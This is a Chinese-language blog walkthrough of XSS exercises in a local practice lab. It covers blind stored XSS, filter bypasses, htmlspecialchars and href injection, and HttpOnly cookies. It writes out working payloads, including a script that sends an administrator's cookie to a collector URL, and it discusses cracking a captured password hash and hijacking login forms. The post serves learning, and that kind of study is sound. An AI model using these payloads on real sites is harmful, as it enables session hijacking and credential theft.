XSS跨站——攻击常见环境模拟

XSS跨站——攻击常见环境模拟

1.XSS之盲打

  打开查看界面,可以看到有两个输入点,一个是看法,一个是名字,不难猜出,这是与数据库连接的内容,尝试输入内容查看反映

  可以看见回显只有一个谢谢参与,明显画大饼,不行,我们一定要攻击他,所谓的盲打就是无法直接在前端看到代码的反馈效果,盲打类型交互的数据一般是被存在数据库中,也就是上一篇提到的存储型XSS,一般有留言板,调查问卷,评论等内容信息的页面。

  这里不得不提一句,我一开始想着用测试代码试试,一直没反应,就多搞了几次,登入后面管理员查看的时候,直接崩了,我都不知道为啥

1
<script>alert(1)</script>

  变向的证明了,如果如果没有过滤的话,恶心管理员是有一手的。当然,这并不是重点,我们的重点是传入代码获取到管理员的cookie值从而得到权限

1
2
3
<script> document.location = 'http://127.0.0.1/PIKA/pkxss/xcookie/cookie.php?cookie='  +  document.cookie; </script>

//我理解这段代码的意思是将管理员网页的cookie反馈到http://127.0.0.1/PIKA/pkxss/xcookie/cookie.php?的网址中,当我拿到你的cookie之后就能为所欲为了,嘿嘿(发出了反派的笑声)

  可以看到在输入获取cookie的恶意代码后,当管理员登录后会直接执行该语句,向攻击者的工具传送cookie信息 ,管理员无法直接看到的,只有登录数据库看相关内容才能看见传送的语句

  很好我们获取了cookie的内容,有了用户名和密码,但是密码经过了加密处理,这就使用kali的hash解密尝试一下咯,看看是什么加密方式

1
pw=10470c3b4b1fed12c3baac014be15fac67c6e815
  猜测出了哈希加密的方案种类,接下来就有两种方法,比较简单的hash加密可以遍历加密结果获得明文,另一种是直接是利用工具进行连接而不进行破解密码,比如使用Postman软件,直接导入cookie值,直接进

  

2.XSS之过滤

   这次是XSS过滤的绕过,有了之前sql注入的相关经验,可以明白,我们的绕过方法无非就是大小写变化、拼凑语句以及使用注释进行干扰等

  可以看到常规的xss脚本无法执行,猜测可能是使用了相关的过滤,尝试前几个说的方法

1
2
3
4
5
6
7
//大小写
</a><SCRIPT>alert('xss')</sCRIpt><a>
//拼凑语句
<scri<script>pt>alert('xss')</scri</script>pt>
<SCR<SCRIPT>IPT>alert('xss')</SC</sCRIpt>RIPT>
//注释进行干扰
<scri<!--liaoyue-->pt> alert('xss') </sc <!--liaoyue--> ript>

  当我们大小写混淆拼写代码后,成功的绕过了后台的检测机制,达到了alert的目的,

3.XSS之htmlspecialchars

  首先了解htmlspecialchars,它是函数的一种,作用是将预定义的字符转换为HTML实体,预定义的字符为:

  • &(和号)
  • ”(双引号)
  • ‘(单引号)
  • <(小于号)
  • >(大于号)
1
'"&<>

  首先输入五种符号,查看转义情况,可以发现,五种符号中,单引号是没有被转义的,所以我们可以通过#’的办法将herf给闭合掉从而运行我们想要的语句了

1
#' onclick='alert(1)'
1
#' onclick='alert("xss")'

4.XSS之href输出

  一般而言,href主要是实现对超链接进行转跳的功能,并且会有伴随着htmlspecialcharsd的协助,输出在a标签的href属性里面,可以使用JavaScript协议来执行语句

1
javascript:alert("XSS")

  一般而言,在a标签的href属性汇总,一般放的是URL连接,所以会有规定输入必须以http或者https开头即可

5.XSS之JavaScript输出

  JavaScript里面是不会对tag和字符实体进行解释,所以需要进行js的转义,如果检验到JavaScript的代码,可以思考是否有攻击插入点

  明显用到了JavaScript上的界面变化,可以尝试构造闭合,然后插入我们需要的js语句

1
</script><script>alert("xss")</script>

6.XSS之httponly绕过

  如果在cookie中设置了httponly属性,那么通过JavaScript将无法读取到cooker信息,这样子在一定程度上能过有效的防止XSS攻击。

  首先要明白,它的作用是防止cookie被读取,并不是防止跨站脚本执行,接下来模拟场景,首先使用php语言数字httponly,查看执行情况

  1或者ture的代表这个函数启用了,然后我们使用xss工具注入了JavaScript语句读取cookie值

  可以看见,在网络模块汇中,确实访问了xss工具网址

  在最终的反馈汇总,cookie是空白,这说明httponly是阻止了cookie的读取,但是JavaScript是执行了的。那么这种情况下,我们应该怎么办呢,首先明确我们需要的是获取后台的权限,在后台的权限中,有两种加入方式,一种是cookie,另一种则是账号密码的输入

  账号密码的获取又分两种情况,一种是浏览器保存读取,一种是浏览器没有保存读取的

  • 账号密码不自动读取

      一般来说,这种需要我们将注入了劫持语句的网页链接发给受害者,采取表单劫持的办法,他的作用就是在输入账号密码的地方,类似于抓包后,将账号密码再发送一份给跨站平台,这样子,我拿就可以获取到受害者的账号密码了

      这种情况的要求比较高,前提条件上的需要在账号密码的登录界面中

  • 账号密码自动读取

      这种情况下,由于输入账号,浏览器会自动补充密码,我们可以通过XSS平台获取明文内容,这是产生在后台的XSS,存储型XSS如留言等


XSS跨站——攻击常见环境模拟
https://one-null-pointer.github.io/2022/10/07/XSS跨站——攻击类型(二)/
Author
liaoyue
Posted on
October 7, 2022
传送口